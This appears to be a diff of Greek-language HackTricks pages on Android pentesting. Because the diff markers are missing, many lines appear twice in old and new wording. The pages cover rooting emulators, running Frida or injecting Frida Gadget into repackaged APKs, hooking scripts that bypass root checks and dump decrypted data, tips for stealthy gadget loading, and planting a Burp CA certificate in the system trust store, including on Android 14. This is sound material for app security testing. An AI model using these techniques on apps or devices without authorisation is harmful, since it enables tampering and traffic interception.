- **`-tcpdump /path/dumpfile.cap`** : Καταγράφει όλη την κίνηση σε ένα αρχείο
**Σύστημα**
- `-selinux {disabled|permissive}` : Ορίζει το Security-Enhanced Linux security module σε disabled ή permissive mode σε σύστημα Linux.
- `-selinux {disabled|permissive}` : Θέτει το Security-Enhanced Linux security module είτε σε disabled είτε σε permissive mode σε ένα λειτουργικό σύστημα Linux.
- `-timezone Europe/Paris` : Ορίζει τη ζώνη ώρας για τη virtual συσκευή
- `-screen {touch(default)|multi-touch|o-touch}` : Ορίζει τη λειτουργία προσομοιωμένης οθόνης αφής.
- **`-writable-system`** : Χρησιμοποιήστε αυτή την επιλογή για να έχετε ένα writable system image κατά τη διάρκεια της συνεδρίας emulation. Θα χρειαστεί επίσης να τρέξετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για την εγκατάσταση ενός νέου πιστοποιητικού στο σύστημα.
- **`-writable-system`** : Χρησιμοποιήστε αυτήν την επιλογή για να έχετε ένα writable system image κατά τη διάρκεια της συνεδρίας emulation. Θα χρειαστεί επίσης να τρέξετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για να εγκαταστήσετε ένα νέο πιστοποιητικό στο σύστημα.
## Εγκατάσταση CLI σε Linux (SDK/AVD γρήγορη εκκίνηση)
## Εγκατάσταση Linux CLI (SDK/AVD quickstart)
Τα επίσημα CLI εργαλεία διευκολύνουν τη δημιουργία γρήγορων, debuggable emulators χωρίς το Android Studio.
Τα επίσημα εργαλεία CLI διευκολύνουν τη δημιουργία γρήγορων, debuggable emulators χωρίς Android Studio.
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -217,11 +216,11 @@ adb root
adb shell whoami # expect: root
```
Σημειώσεις
- Παραλλαγές εικόνων συστήματος: google_apis (με δυνατότητα debugging, επιτρέπει `adb root`), google_apis_playstore (δεν είναι δυνατό να γίνει root), aosp/default (ελαφρύ).
- Τύποι build: userdebug συχνά επιτρέπει `adb root` σε εικόνες με δυνατότητα debugging. Οι εικόνες Play Store είναι production builds και μπλοκάρουν το root.
- Σε x86_64 hosts, η πλήρης εξομοίωση συστήματος ARM64 δεν υποστηρίζεται από API 28+. Για Android 11+ χρησιμοποιήστε εικόνες Google APIs/Play που περιλαμβάνουν per-app ARM-to-x86 translation για να τρέξετε πολλά ARM-only apps γρήγορα.
- Παραλλαγές system image: google_apis (debuggable, επιτρέπει adb root), google_apis_playstore (όχι rootable), aosp/default (ελαφρύ).
- Τύποι build: userdebug συχνά επιτρέπει `adb root` σε debug-capable images. Play Store images είναι production builds και μπλοκάρουν το root.
- Σε hosts x86_64, η full-system ARM64 emulation δεν υποστηρίζεται από API 28+. Για Android 11+ χρησιμοποιήστε Google APIs/Play images που περιλαμβάνουν per-app ARM-to-x86 translation για να τρέξετε πολλές ARM-only apps γρήγορα.
### Snapshots from CLI
### Στιγμιότυπα από CLI
```bash
# Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup
@ -231,22 +230,22 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 μετάφραση δυαδικών (Android 11+)
Google APIs και Play Store εικόνες στο Android 11+ μπορούν να μεταφράσουν δυαδικά ARM εφαρμογών ανά διεργασία διατηρώντας το υπόλοιπο σύστημα γηγενές x86/x86_64. Συχνά αυτό είναι αρκετά γρήγορο για να δοκιμάσετε πολλές εφαρμογές αποκλειστικά ARM σε desktop.
Τα Google APIs και οι εικόνες Play Store στο Android 11+ μπορούν να μεταφράσουν ARM app binaries ανά διαδικασία, διατηρώντας το υπόλοιπο σύστημα native x86/x86_64. Αυτό είναι συχνά αρκετά γρήγορο για να δοκιμάσετε πολλές εφαρμογές που τρέχουν μόνο σε ARM σε desktop.
> Συμβουλή: Προτιμήστε τις εικόνες Google APIs x86/x86_64 κατά τη διάρκεια pentests. Οι εικόνες Play είναι βολικές αλλά αποκλείουν το `adb root`; χρησιμοποιήστε τις μόνο όταν χρειάζεστε συγκεκριμένα Play services και αποδέχεστε την έλλειψη root.
> Συμβουλή: Προτιμήστε εικόνες Google APIs x86/x86_64 κατά τη διάρκεια pentests. Οι εικόνες Play είναι βολικές αλλά εμποδίζουν το `adb root`; χρησιμοποιήστε τις μόνο όταν χρειάζεστε συγκεκριμένα Play services και αποδέχεστε την έλλειψη root.
## Rooting a Play Store device
## Rooting μιας συσκευής με Play Store
Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορείτε να αποκτήσετε root απευθείας, και θα λάβετε αυτό το μήνυμα σφάλματος
Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορέσετε να πάρετε root απευθείας, και θα λάβετε αυτό το μήνυμα σφάλματος
```
$ adb root
adbd cannot run as root in production builds
```
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το root-άρω (δείτε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το κάνω root (ακολούθησε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Εγκατάσταση πιστοποιητικού Burp
Δείτε την παρακάτω σελίδα για να μάθετε πώς να εγκαταστήσετε ένα προσαρμοσμένο πιστοποιητικό CA:
Δες την παρακάτω σελίδα για να μάθεις πώς να εγκαταστήσεις ένα custom CA cert:
{{#ref}}
@ -255,9 +254,9 @@ install-burp-certificate.md
## Χρήσιμες επιλογές AVD
### Λήψη Snapshot
### Δημιούργησε ένα snapshot
Μπορείτε να **χρησιμοποιήσετε το GUI** για να δημιουργήσετε ένα snapshot της VM οποιαδήποτε στιγμή:
Μπορείς να **χρησιμοποιήσεις το GUI** για να πάρεις ένα snapshot της VM οποιαδήποτε στιγμή:
![](<../../images/image (234).png>)
@ -265,6 +264,6 @@ install-burp-certificate.md
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
- [Εκτέλεση εφαρμογών ARM στον Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,27 +5,27 @@
## Εγκατάσταση
Εγκαταστήστε **frida tools**:
Εγκαταστήστε τα **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Κατεβάστε και εγκαταστήστε** στο Android το **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Μια γραμμή εντολής για να επανεκκινήσετε το adb σε root mode, να συνδεθείτε σε αυτό, να ανεβάσετε το frida-server, να δώσετε δικαιώματα εκτέλεσης και να το τρέξετε στο παρασκήνιο:
**Κατέβασε και εγκατάστησε** στο android τον **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Μία εντολή μίας γραμμής για να επανεκκινήσεις το adb σε root mode, να συνδεθείς σε αυτό, να ανεβάσεις το frida-server, να του δώσεις δικαιώματα εκτέλεσης και να το τρέξεις στο παρασκήνιο:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**Ελέγξτε** αν **λειτουργεί**:
**Έλεγξε** αν **λειτουργεί**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Frida server vs. Gadget (root vs. no-root)
Δύο συνήθεις τρόποι για την παρακολούθηση/παρέμβαση σε εφαρμογές Android με το Frida:
Δύο κοινές μέθοδοι για τη δυναμική ανάλυση εφαρμογών Android με Frida:
- Frida server (rooted devices): Αποστέλλετε και τρέχετε έναν native daemon που σας επιτρέπει να συνδεθείτε σε οποιαδήποτε διεργασία.
- Frida Gadget (no root): Ενσωματώνετε το Frida ως shared library μέσα στο APK και το φορτώνετε αυτόματα μέσα στη στοχευόμενη διεργασία.
- Frida server (rooted devices): Προωθείς (push) και τρέχεις έναν native daemon που σου επιτρέπει να κάνεις attach σε οποιαδήποτε διεργασία.
- Frida Gadget (no root): Ενσωματώνεις το Frida ως shared library μέσα στο APK και το φορτώνεις αυτόματα μέσα στη στοχευόμενη διεργασία.
Frida server (rooted)
```bash
@ -44,7 +44,7 @@ Frida Gadget (no-root)
1) Αποσυμπιέστε το APK, προσθέστε το gadget .so και το config:
- Τοποθετήστε libfrida-gadget.so στο lib/<abi>/ (π.χ., lib/arm64-v8a/)
- Δημιουργήστε assets/frida-gadget.config με τις ρυθμίσεις φόρτωσης των scripts σας
- Δημιουργήστε assets/frida-gadget.config με τις ρυθμίσεις φόρτωσης script σας
Παράδειγμα frida-gadget.config
```json
@ -54,9 +54,9 @@ Frida Gadget (no-root)
}
```
2) Αναφορά/φόρτωση του gadget ώστε να αρχικοποιηθεί νωρίς:
- Το απλούστερο: Πρόσθεσε ένα μικρό Java stub που καλεί System.loadLibrary("frida-gadget") μέσα σε Application.onCreate(), ή χρησιμοποίησε τον υπάρχοντα μηχανισμό φόρτωσης native βιβλιοθηκών.
- Πιο εύκολο: Προσθέστε ένα μικρό Java stub που καλεί System.loadLibrary("frida-gadget") στο Application.onCreate(), ή χρησιμοποιήστε την ήδη υπάρχουσα φόρτωση native lib.
3) Επανασυσκεύασε και υπέγραψε το APK, και μετά εγκατέστησέ το:
3) Ξαναπακετάρετε και υπογράψτε το APK, στη συνέχεια εγκαταστήστε:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@ -64,14 +64,14 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) Συνδέστε από το host στο gadget process:
4) Attach από host στο gadget process:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
Σημειώσεις
- Το Gadget ανιχνεύεται από κάποιες προστασίες· κράτα τα ονόματα/διαδρομές stealthy και φόρτωσέ τα αργά/υπό συνθήκη αν χρειάζεται.
- Σε hardened apps, προτίμησε rooted testing με server + late attach, ή συνδύασέ το με Magisk/Zygisk hiding.
- Το Gadget ανιχνεύεται από ορισμένες προστασίες· κρατήστε τα names/paths διακριτικά και φορτώστε αργά/υπό όρους αν χρειάζεται.
- Σε hardened εφαρμογές, προτιμήστε testing σε rooted συσκευές με server + late attach, ή συνδυάστε με Magisk/Zygisk hiding.
## Οδηγοί
@ -81,23 +81,23 @@ frida -U -n com.example.app
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Πηγαίος Κώδικας**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Ακολούθησε τον [link to read it](frida-tutorial-1.md).**
**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**Από**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs και Πηγαίος Κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Ακολούθησε την[ link to read it.](frida-tutorial-2.md)**
**Ακολουθήστε the[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**Από**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**Ακολούθησε τον [link to read it](owaspuncrackable-1.md).**
**Follow the [link to read it](owaspuncrackable-1.md).**
**Μπορείς να βρεις περισσότερα Awesome Frida scripts εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Μπορείτε να βρείτε περισσότερα Awesome Frida scripts εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Γρήγορα Παραδείγματα
@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking functions χωρίς παραμέτρους
### Hooking συναρτήσεων χωρίς παραμέτρους
Hook the function `a()` της κλάσης `sg.vantagepoint.a.c`
Hook τη συνάρτηση `a()` της κλάσης `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
Hook στο android `.onCreate()`
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
### Hooking functions with parameters and retrieving the value
### Hooking συναρτήσεων με παραμέτρους και ανάκτηση της τιμής
Hooking μιας decryption function. Τυπώστε το input, καλέστε την original function για να decrypt το input και τελικά τυπώστε τα plain data:
Hooking μιας συνάρτησης decryption. Εκτύπωσε την είσοδο, κάλεσε την αρχική συνάρτηση για να decrypt την είσοδο και, τέλος, εκτύπωσε το απλό κείμενο:
```javascript
function getString(data) {
var ret = ""
@ -197,7 +197,7 @@ return ret //[B
```
### Hooking functions and calling them with our input
Hook μια function που λαμβάνει ένα string και κάλεσέ την με άλλο string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook a function που δέχεται ένα string και κάλεσέ το με ένα άλλο string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -212,7 +212,7 @@ return ret
```
### Λήψη ενός ήδη δημιουργημένου αντικειμένου μιας κλάσης
Αν θέλετε να εξάγετε κάποια ιδιότητα ενός δημιουργημένου αντικειμένου, μπορείτε να χρησιμοποιήσετε αυτό.
Αν θέλεις να εξαγάγεις κάποια ιδιότητα ενός δημιουργημένου αντικειμένου, μπορείς να χρησιμοποιήσεις αυτό.
Σε αυτό το παράδειγμα θα δείτε πώς να πάρετε το αντικείμενο της κλάσης my_activity και πώς να καλέσετε τη συνάρτηση .secret() που θα εκτυπώσει μια ιδιωτική ιδιότητα του αντικειμένου:
```javascript
@ -225,15 +225,15 @@ console.log("Result of secret func: " + instance.secret())
onComplete: function () {},
})
```
## Άλλοι οδηγοί για Frida
## Άλλα σεμινάρια για Frida
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Μέρος 1 της σειράς άρθρων Advanced Frida Usage: iOS Βιβλιοθήκες Κρυπτογράφησης](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Μέρος 1 της σειράς άρθρων Advanced Frida Usage: IOS Βιβλιοθήκες Κρυπτογράφησης](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## Αναφορές
- [Δημιουργία επαναλήψιμου Android Bug Bounty εργαστηρίου: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Δημιουργία επαναλήψιμου εργαστηρίου Android Bug Bounty: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Τεκμηρίωση Frida Gadget](https://frida.re/docs/gadget/)
- [Εκδόσεις Frida (server binaries)](https://github.com/frida/frida/releases)

View File

@ -1,11 +1,11 @@
# Εγκατάσταση πιστοποιητικού Burp
# Εγκατάσταση του πιστοποιητικού Burp
{{#include ../../banners/hacktricks-training.md}}
## Proxy σε όλο το σύστημα μέσω ADB
## Proxy σε επίπεδο συστήματος μέσω ADB
Διαμορφώστε έναν παγκόσμιο HTTP proxy ώστε όλες οι εφαρμογές να δρομολογούν την κίνηση μέσω του interceptor (Burp/mitmproxy):
Διαμορφώστε έναν παγκόσμιο HTTP proxy ώστε όλες οι εφαρμογές να δρομολογούν την κίνηση μέσω του interceptor σας (Burp/mitmproxy):
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Tip: Στο Burp, bind το listener σας στο 0.0.0.0 ώστε οι συσκευές στο LAN να μπορούν να συνδεθούν (Proxy -> Options -> Proxy Listeners).
Συμβουλή: Στο Burp, bind τον listener σε 0.0.0.0 ώστε οι συσκευές στο LAN να μπορούν να συνδεθούν (Proxy -> Options -> Proxy Listeners).
## Σε Εικονική Μηχανή
## Σε μια εικονική μηχανή
Πρώτα απ' όλα πρέπει να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε στο _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
Πρώτα απ' όλα χρειάζεται να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε από _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
![](<../../images/image (367).png>)
**Εξάγετε το πιστοποιητικό σε μορφή Der** και ας **μετατρέψουμε** το σε μια μορφή που το **Android** θα μπορέσει να **κατανοήσει.** Σημειώστε ότι **για να ρυθμίσετε το burp certificate στην Android μηχανή στο AVD** χρειάζεται να **τρέξετε** αυτή τη μηχανή **με** την **`-writable-system`** επιλογή.\
Για παράδειγμα μπορείτε να το τρέξετε ως εξής:
**Export the certificate in Der format** και ας το **transform** σε μια μορφή που το **Android** θα είναι σε θέση να **understand.** Σημειώστε ότι **in order to configure the burp certificate on the Android machine in AVD** χρειάζεται να **run** αυτή τη μηχανή **with** την επιλογή **`-writable-system`**.\\
Για παράδειγμα μπορείτε να το τρέξετε ως:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Έπειτα, για να **ρυθμίσετε το πιστοποιητικό burps, κάντε**:
Στη συνέχεια, για να **ρυθμίσετε το πιστοποιητικό του burps**, κάντε:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,15 +37,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
Μόλις **η μηχανή ολοκληρώσει την επανεκκίνηση** το burp certificate θα χρησιμοποιείται από αυτή!
Μόλις το **machine finish rebooting** το πιστοποιητικό burp θα χρησιμοποιείται από αυτό!
## Χρήση Magisc
## Χρήση του Magisc
If you **rooted your device with Magisc** (maybe an emulator), and you **can't follow** the previous **steps** to install the Burp cert because the **filesystem is read-only** and you cannot remount it writable, there is another way.
Αν **rooted τη συσκευή σας με Magisc** (ίσως an emulator), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το Burp cert επειδή το **filesystem είναι read-only** και δεν μπορείτε να remount το filesystem ως writable, υπάρχει άλλη λύση.
Εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) και χρειάζεται να:
Όπως εξηγείται στο [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να:
1. **Install a CA certificate**: Απλά **drag&drop** το DER Burp certificate **changing the extension** σε `.crt` στο κινητό ώστε να αποθηκευτεί στο φάκελο Downloads και πηγαίνετε σε `Install a certificate` -> `CA certificate`
1. **Εγκατάσταση πιστοποιητικού CA**: Απλώς **drag&drop** το DER Burp certificate αλλάζοντας την επέκταση σε `.crt` στο κινητό ώστε να αποθηκευτεί στον φάκελο Downloads και πηγαίνετε σε `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
@ -53,27 +53,27 @@ If you **rooted your device with Magisc** (maybe an emulator), and you **can't f
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Make it System trusted**: Κατεβάστε το Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα .zip αρχείο), **drag&drop it** στο τηλέφωνο, ανοίξτε την εφαρμογή **Magics** στο τηλέφωνο στην ενότητα **`Modules`**, κάντε κλικ στο **`Install from storage`**, επιλέξτε το `.zip` module και μόλις εγκατασταθεί **reboot** το τηλέφωνο:
2. **Make it System trusted**: Κατεβάστε το Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (αρχείο .zip), **drag&drop it** στο τηλέφωνο, ανοίξτε την **Magics app** στο τηλέφωνο στην ενότητα **`Modules`**, κάντε κλικ στο **`Install from storage`**, επιλέξτε το `.zip` module και μόλις εγκατασταθεί **reboot** το τηλέφωνο:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- Μετά την επανεκκίνηση, πηγαίνετε σε `Trusted credentials` -> `SYSTEM` και ελέγξτε ότι το Postswigger cert είναι εκεί
- Μετά την επανεκκίνηση, πηγαίνετε σε `Trusted credentials` -> `SYSTEM` και ελέγξτε ότι το Postswigger cert υπάρχει εκεί
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Learn how to create a Magisc module
### Μάθετε πώς να δημιουργήσετε ένα Magisc module
Δείτε [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Post Android 14
Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε σημαντική αλλαγή στον τρόπο χειρισμού των system-trusted Certificate Authority (CA) certificates. Παλαιότερα, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με root προνόμια, πράγμα που επέτρεπε την άμεση εφαρμογή τους σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, έναν κατάλογο εντός της διαδρομής **`/apex`**, ο οποίος είναι αμετάβλητος από τη φύση του.
Στην πιο πρόσφατη έκδοση Android 14 παρατηρήθηκε μια σημαντική αλλαγή στον τρόπο διαχείρισης των system-trusted Certificate Authority (CA) πιστοποιητικών. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με root προνόμια, επιτρέποντας την άμεση εφαρμογή τους σε όλο το σύστημα. Ωστόσο, με το Android 14, η θέση αποθήκευσης μεταφέρθηκε σε **`/apex/com.android.conscrypt/cacerts`**, έναν κατάλογο μέσα στο **`/apex`** path, ο οποίος είναι αμετάβλητος από τη φύση του.
Οι προσπάθειες να γίνει remount η APEX cacerts διαδρομή ως εγγράψιμη αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες ενέργειες. Ακόμη και οι προσπάθειες να απομακρυνθεί ή να επικαλυφθεί ο κατάλογος με ένα προσωρινό file system (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα· οι εφαρμογές συνεχίζουν να προσπελάζουν τα αρχικά δεδομένα πιστοποιητικού ανεξάρτητα από αλλαγές στο επίπεδο του file system. Αυτή η ανθεκτικότητα οφείλεται στο ότι το mount του **`/apex`** έχει ρυθμιστεί με PRIVATE propagation, εξασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Οι προσπάθειες να remount το APEX cacerts path ως writable αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες ενέργειες. Ακόμα και οι προσπάθειες να unmount ή να overlay τον κατάλογο με ένα προσωρινό file system (tmpfs) δεν παρακάμπτουν την αμεταβλητότητα· οι εφαρμογές εξακολουθούν να προσπελαύνουν τα αρχικά δεδομένα των πιστοποιητικών ανεξάρτητα από αλλαγές στο επίπεδο του file system. Αυτή η ανθεκτικότητα οφείλεται στο ότι το mount του **`/apex`** έχει ρυθμιστεί με PRIVATE propagation, διασφαλίζοντας ότι οποιεσδήποτε τροποποιήσεις μέσα στον κατάλογο **`/apex`** δεν επηρεάζουν άλλες διεργασίες.
Η αρχικοποίηση του Android περιλαμβάνει τη διεργασία `init`, η οποία, κατά την εκκίνηση του λειτουργικού συστήματος, ξεκινά επίσης τη διεργασία Zygote. Αυτή η διεργασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο mount namespace που περιλαμβάνει ένα private **`/apex`** mount, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον κατάλογο από άλλες διεργασίες.
Η εκκίνηση του Android περιλαμβάνει τη διεργασία `init` που, κατά την εκκίνηση του λειτουργικού, ξεκινά επίσης τη διεργασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο mount namespace που περιλαμβάνει ένα ιδιωτικό mount **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτόν τον κατάλογο από άλλες διεργασίες.
Παρόλα αυτά, υπάρχει μια λύση για όσους χρειάζονται να τροποποιήσουν τα system-trusted CA certificates εντός του καταλόγου **`/apex`**. Αυτή περιλαμβάνει το χειροκίνητο remount του **`/apex`** για την αφαίρεση της PRIVATE propagation, καθιστώντας το έτσι εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη θέση, την αποπροσάρτηση (unmount) του καταλόγου **`/apex/com.android.conscrypt`** για να αφαιρεθεί ο περιορισμός μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί ταχεία ενέργεια για να αποφευχθεί η αστάθεια ή το crash του συστήματος. Για να εξασφαλιστεί η εφαρμογή των αλλαγών σε ολόκληρο το σύστημα, συνιστάται η επανεκκίνηση της `system_server`, η οποία ουσιαστικά επανεκκινεί όλες τις εφαρμογές και επαναφέρει το σύστημα σε συνεπή κατάσταση.
Παρόλα αυτά, υπάρχει ένας τρόπος παράκαμψης για όσους χρειάζεται να τροποποιήσουν τα system-trusted CA πιστοποιητικά μέσα στον κατάλογο **`/apex`**. Αυτό περιλαμβάνει το χειροκίνητο remount του **`/apex`** για να αφαιρεθεί το PRIVATE propagation, καθιστώντας το writable. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, το unmount του **`/apex/com.android.conscrypt`** για να αφαιρεθεί ο περιορισμός read-only, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση μέσα στο **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη εκτέλεση για να αποφευχθεί η κατάρρευση του συστήματος. Για να διασφαλιστεί η εφαρμογή των αλλαγών σε επίπεδο όλου του συστήματος, συνιστάται η επανεκκίνηση του `system_server`, που ουσιαστικά επανεκκινεί όλες τις εφαρμογές και επαναφέρει το σύστημα σε συνεπή κατάσταση.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -133,22 +133,22 @@ echo "System certificate injected"
```
### Bind-mounting μέσω NSEnter
1. **Δημιουργία εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με την προσάρτηση ενός `tmpfs` πάνω από τον υπάρχοντα μη-APEX κατάλογο πιστοποιητικών συστήματος. Αυτό γίνεται με την ακόλουθη εντολή:
1. **Ρύθμιση εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος κάνοντας mount ένα `tmpfs` πάνω στον υπάρχοντα non-APEX κατάλογο πιστοποιητικών συστήματος. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Preparing CA Certificates**: Αφού ρυθμιστεί ο εγγράψιμος κατάλογος, τα πιστοποιητικά CA που σκοπεύει κανείς να χρησιμοποιήσει πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από `/apex/com.android.conscrypt/cacerts/`. Είναι απαραίτητο να προσαρμόσετε τα δικαιώματα και τις ετικέτες SELinux αυτών των πιστοποιητικών ανάλογα.
3. **Bind Mounting for Zygote**: Χρησιμοποιώντας `nsenter`, εισέρχεται κανείς στο mount namespace του Zygote. Το Zygote, ως η διεργασία που είναι υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα ώστε να διασφαλιστεί ότι όλες οι εφαρμογές που θα ξεκινούν εφεξής θα χρησιμοποιούν τα πρόσφατα διαμορφωμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
